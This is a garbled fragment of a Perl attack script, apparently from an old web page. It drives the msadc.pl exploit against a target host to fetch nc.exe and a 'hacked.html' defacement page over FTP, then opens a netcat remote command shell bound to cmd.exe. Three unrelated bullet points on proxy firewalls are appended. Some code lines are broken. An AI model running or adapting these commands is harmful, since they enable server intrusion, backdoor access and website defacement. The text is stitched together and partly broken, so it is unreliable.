    system(“perl msadc.pl -h $host -C \”echo bin>>testfile\””);
    system(“perl msadc.pl -h $host -C \”echo get nc.exe>>testfile\””);
    system(“perl msadc.pl -h $host -C \”echo get hacked.html>>testfile\””);
    (“perl msadc.pl -h $host -C \”echo quit>>testfile\””);
    system(“perl msadc.pl -h $host -C \”ftp \-s\:testfile\””);
    $o=; print “Opening …\n”;
    system(“perl msadc.pl -h $host -C \”nc -l -p $port -e cmd.exe\””);

    • Firewall proxy servers decentralize all activity for an application.
    • Proxy firewalls block network packets from passing to and from a protected network.
    • Computers establish a connection with a proxy firewall which initiates a new network connection for the client.
